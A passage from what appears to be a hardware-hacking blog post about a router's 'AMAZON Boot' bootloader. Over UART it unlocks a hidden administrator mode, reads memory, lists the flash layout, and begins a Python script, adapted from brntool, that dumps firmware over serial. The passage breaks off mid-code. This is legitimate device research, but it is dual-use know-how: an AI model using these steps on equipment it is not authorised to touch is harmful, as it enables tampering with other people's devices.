After rebooting again and hitting space three times we are greeted with the following prompt:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;Press the Space Bar 3 times to enter command mode ...123
&lt;&#x2F;span&gt;&lt;span&gt;Yes, Enter command mode ...
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;[AMAZON Boot]:?
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;======================
&lt;&#x2F;span&gt;&lt;span&gt; [U] Upload to Flash
&lt;&#x2F;span&gt;&lt;span&gt; [E] Erase Flash
&lt;&#x2F;span&gt;&lt;span&gt; [G] Run Runtime Code
&lt;&#x2F;span&gt;&lt;span&gt; [A] Set MAC Address
&lt;&#x2F;span&gt;&lt;span&gt; [#] Set Serial Number
&lt;&#x2F;span&gt;&lt;span&gt; [V] Set Board Version
&lt;&#x2F;span&gt;&lt;span&gt; [H] Set Options
&lt;&#x2F;span&gt;&lt;span&gt; [P] Print Boot Params
&lt;&#x2F;span&gt;&lt;span&gt; [0] Primary = Image 0
&lt;&#x2F;span&gt;&lt;span&gt; [1] Primary = Image 1
&lt;&#x2F;span&gt;&lt;span&gt;======================
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;While uploading data to the flash seems interesting, we are particularly interested &lt;em&gt;in extracting&lt;&#x2F;em&gt; it to analyze it further.
After playing around with the interface and some googling, we discovered that we could unlock an administrative interface in an &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ip-phone-forum.de&#x2F;threads&#x2F;w700v-kein-bootloader-mehr.204049&#x2F;#post-1478314&quot;&gt;old German forum post&lt;&#x2F;a&gt;.
This mode can be triggered when we enter an exclamation mark (&lt;code&gt;!&lt;&#x2F;code&gt;) in the boot prompt and unlocks more interesting features like reading and writing to the flash chip:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;[AMAZON Boot]:!
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Enter Administrator Mode !
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;======================
&lt;&#x2F;span&gt;&lt;span&gt; [U] Upload to Flash
&lt;&#x2F;span&gt;&lt;span&gt; [E] Erase Flash
&lt;&#x2F;span&gt;&lt;span&gt; [G] Run Runtime Code
&lt;&#x2F;span&gt;&lt;span&gt; [M] Upload to Memory
&lt;&#x2F;span&gt;&lt;span&gt; [R] Read from Memory
&lt;&#x2F;span&gt;&lt;span&gt; [W] Write to Memory
&lt;&#x2F;span&gt;&lt;span&gt; [T] Memory Test
&lt;&#x2F;span&gt;&lt;span&gt; [Y] Go to Memory
&lt;&#x2F;span&gt;&lt;span&gt; [A] Set MAC Address
&lt;&#x2F;span&gt;&lt;span&gt; [#] Set Serial Number
&lt;&#x2F;span&gt;&lt;span&gt; [V] Set Board Version
&lt;&#x2F;span&gt;&lt;span&gt; [H] Set Options
&lt;&#x2F;span&gt;&lt;span&gt; [P] Print Boot Params
&lt;&#x2F;span&gt;&lt;span&gt; [0] Primary = Image 0
&lt;&#x2F;span&gt;&lt;span&gt; [1] Primary = Image 1
&lt;&#x2F;span&gt;&lt;span&gt;======================
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With these options, we can read from memory directly:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;[AMAZON Boot]:r
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Enter the Start Address to Read....0x
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;[we enter 0x30000000]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Enter the Start Address to Read....0x30000000
&lt;&#x2F;span&gt;&lt;span&gt;Data Length is (1) 4 Bytes (2) 2 Bytes (3) 1 Byte...
&lt;&#x2F;span&gt;&lt;span&gt;Enter the Count to Read....(Maximun 10000)100
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;----------------------------------------------------------
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt; Address   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;----------------------------------------------------------
&lt;&#x2F;span&gt;&lt;span&gt;0x30000000
&lt;&#x2F;span&gt;&lt;span&gt;0x30000010
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;0x30000180
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We see that this (arbitrarily chosen) memory region is empty, so how do we know where our memory lies?
When we google some more we discover that &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;oldwiki.archive.openwrt.org&#x2F;toh&#x2F;t-com&#x2F;spw700v&quot;&gt;OpenWRT&lt;&#x2F;a&gt; tells us what mapped memory looks like.
However, what would we do if this was an unknown target? After poking around in the bootloader we can try the &lt;code&gt;[U] Upload to Flash&lt;&#x2F;code&gt; function and are greeted with:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;[AMAZON Boot]:u
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;UPLOAD Flash
&lt;&#x2F;span&gt;&lt;span&gt;---------------------------------------
&lt;&#x2F;span&gt;&lt;span&gt;    Area            Address      Length
&lt;&#x2F;span&gt;&lt;span&gt;---------------------------------------
&lt;&#x2F;span&gt;&lt;span&gt;[0] Boot            0xB3000000     128K
&lt;&#x2F;span&gt;&lt;span&gt;[1] Configuration   0xB3020000     192K
&lt;&#x2F;span&gt;&lt;span&gt;[2] Image 0         0xB3050000    1856K
&lt;&#x2F;span&gt;&lt;span&gt;[3] Image 1         0xB3220000    1856K
&lt;&#x2F;span&gt;&lt;span&gt;[4] Boot Params     0xB33F0000      64K
&lt;&#x2F;span&gt;&lt;span&gt;[5] Flash Image     0xB3000000    4096K
&lt;&#x2F;span&gt;&lt;span&gt;---------------------------------------
&lt;&#x2F;span&gt;&lt;span&gt;Enter area to UPLOAD:
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#&quot; aria-label=&quot;Anchor link for: &quot;&gt;Firmware Extraction and Analysis&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Now that we have the memory layout and can read memory from the bootloader, we are equipped with the tools to extract the firmware directly via UART.
To do so, we can utilize a modified version of &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rvalles&#x2F;brntool&#x2F;&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;rvalles&#x2F;brntool&#x2F;&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;#!&#x2F;usr&#x2F;bin&#x2F;python3
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# -*- coding: utf-8 -*-
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;optparse &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;OptionParser
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;serial
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;sys
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;re
&lt;&#x2F;span&gt;&lt;span&gt;lineregex &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;re.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;compile&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;0x(?:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;[0-9A-F]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;{8}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;)((?: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;[0-9A-F]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;{2}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;{1,16}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ff5e5e;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;get2menu&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;ser&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;verbose&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;verbose:
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Waiting for a prompt...&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;file&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;sys.stderr)
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff8942;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;		ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;   !&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt;(ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span&gt;ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span&gt;ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;pass
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;verbose:
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Found prompt.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;file&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;sys.stderr)
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ff5e5e;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;memreadblock&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;ser&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span&gt;ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;pass
&lt;&#x2F;span&gt;&lt;span&gt;	ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;while not &lt;&#x2F;span&gt;&lt;span&gt;(ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span&gt;ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;pass
&lt;&#x2F;span&gt;&lt;span&gt;	ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;%x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;addr).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;span&gt;	ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;while not &lt;&#x2F;span&gt;&lt;span&gt;(ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span&gt;ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span&gt;ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;pass
&lt;&#x2F;span&gt;&lt;span&gt;	ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;while not &lt;&#x2F;span&gt;&lt;span&gt;ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;pass
&lt;&#x2F;span&gt;&lt;span&gt;	ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(size).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;span&gt;	ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;span&gt;	buf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;	m &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff8942;&quot;&gt;False
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;while not &lt;&#x2F;span&gt;&lt;span&gt;m:
&lt;&#x2F;span&gt;&lt;span&gt;		m &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;lineregex.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt;(ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;readline&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;decode&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;strip&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span&gt;m:
